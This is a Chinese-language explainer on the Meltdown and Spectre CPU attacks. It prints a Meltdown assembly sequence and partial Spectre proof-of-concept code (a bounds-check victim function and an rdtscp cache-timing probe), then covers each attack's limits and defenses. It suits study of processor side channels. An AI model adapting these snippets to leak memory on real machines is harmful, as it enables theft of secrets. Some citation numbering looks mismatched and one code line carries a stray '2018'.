Meltdown
Meltdown攻击利用现代CPU中乱序执行 (out-of-order execution)的特性,乱序执行(out-of-order execution)是指CPU允许将多条指令不按程序规定的顺序分开发送给各CPU单元处理的技术,我们通过参考资料[2]中的示例代码来说明这一攻击的原理。
一个简化的Meltdown攻击指令序列:
1 2 3 4 5 6 |
; rcx = kernel address ; rbx = probe array retry:mov al, byte [rcx] shl rax, 0xc jz retry mov rbx, qword [rbx + rax] |
1、rcx寄存器指向用户代码不可访问的内核地址
2、攻击者在指令4中访问内核内存地址,由于访问了内核地址,这一条指令将会触发异常,但由于指令4在CPU内部执行时并不受权限检测,所以读取到的内核数据被存放在了CPU缓存中
3、在等待CPU完成执行指令4的同时,后两条指令因为乱序执行机制实际上已经在CPU的内部执行单元中被执行
4、在CPU内部执行单元执行过的指令5将会把获取到的内核数据(1个字节)乘以4096,并在指令6中将其作为offset来对数组probe array进行访问
5、由于一个内存页的大小是4KB,不同的数据将会导致不同的内存页被访问并存放到CPU缓存中,所以,另一个攻击者进程(任务)就可以通过缓存侧信道攻击(已经被缓存的内存读取时间会更快),来了解哪个内存页被访问过了,从而推断出被访问的内核内存数据。
Spectre
Spectre攻击利用了现代CPU中推测执行(Speculative Execution)的机制来对系统进行攻击。推测执行(Speculative Execution)同样是一种CPU优化特性。在执行类似if () {}这类分支指令,并且在分支指令执行结束之前,CPU会预测哪一个分支会被运行,提取相应的指令代码并执行,以提高CPU指令执行的性能。当预测执行发现预测错误时,预测执行的结果将会被丢弃,CPU的状态会被重置。然而,与乱序执行类似,预测执行时CPU获取到的内存数据会被保留在CPU缓存中(包括越权获取的数据,虽然这些数据用户代码无权访问),我们通过参考资料[3]中的示例代码来说明这一攻击的原理。
1、首先申请一块内存,并写入如下数据
1 |
char * secret="www.ijz.me"; |
2、获取secret和array1的相对偏移量malicious_x
1 2 3 4 5 |
int main(int argc, const char **argv) { size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */ int i, score[2], len=10; uint8_t value[2] |
3、循环调用readMemoryByte函数,分别将malicious递增值作为其中一个参数
1 2 3 4 5 6 7 8 9 10 |
while (--len >= 0) { printf("Reading at malicious_x = %p... ", (void*)malicious_x); readMemoryByte(malicious_x++, value, score); printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("\n"); } return (0); |
4、调用漏洞函数victim_function,利用CPU的预测执行机制将越权读取的数据cache到CPU缓存中
1 2 3 4 |
void victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512]; } |
5、由于array2[array1[x]*512]的值被缓存,所以代码中通过rdtscp函数计算指令执行时间来判断哪个内存页被访问过(缓存的字节被当做另一系列被预测执行指令访问的数组下标,被访问的数组同样是在CPU中被预测读取),从而推断出被访问的secret内存数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
2018/* Time reads. Order is lightly mixed up to prevent stride prediction */ for (i = 0; i < 256; i++) { mix_i = ((i * 167) + 13) & 255; addr = &array2[mix_i * 512]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit - add +1 to score for this value */ } |
6、POC验证执行结果,读取进程内的机密数据
限制条件
本质上讲Meltdown和Spectra都是基于侧信道的攻击,主要用于信息泄露,并不能对目标内存地址进行任意修改,以下分别介绍两种攻击的限制条件。
Meltdown
Meltdown攻击目前仅限于在Intel系列的现代CPU中访问受限内存,包括内核的地址空间
由于Meltdown攻击所使用的特殊代码无法在浏览器JIT中生成,所以该攻击几乎只能在本地进行
Spectre
Spectre攻击需要目标程序具有特殊结构(比如浏览器JIT即时编译出的代码具有Spectra攻击所需要的特殊结构),所以受到目标软件的限制
Spectre攻击虽然适用于远程攻击,但是浏览器类JIT代码生成的Spectra攻击只能获取当前进程的内存数据,无法获取内核数据
Spectre攻击在Intel系列CPU上也可以读取目标内核内存数据
Meltdown和Spectre影响/防御对比
我们整理下两类攻击的影响范围和防御方式,如下:
Meltdown Spectre
读取系统内核层数据 是 是(测试Intel CPU)
通过KAISER/KTPI技术修复 是 否
读取任意用户层数据 是 是
远程攻击 极难 容易
主要影响范围 内核所有数据 浏览器进程数据
受影响CPU厂商 Intel Intel AMD ARM等
参考资料
[1] https://meltdownattack.com/meltdown.pdf
[2] https://spectreattack.com/spectre.pdf
[3] https://github.com/Pl4gue/spectre-attack-demo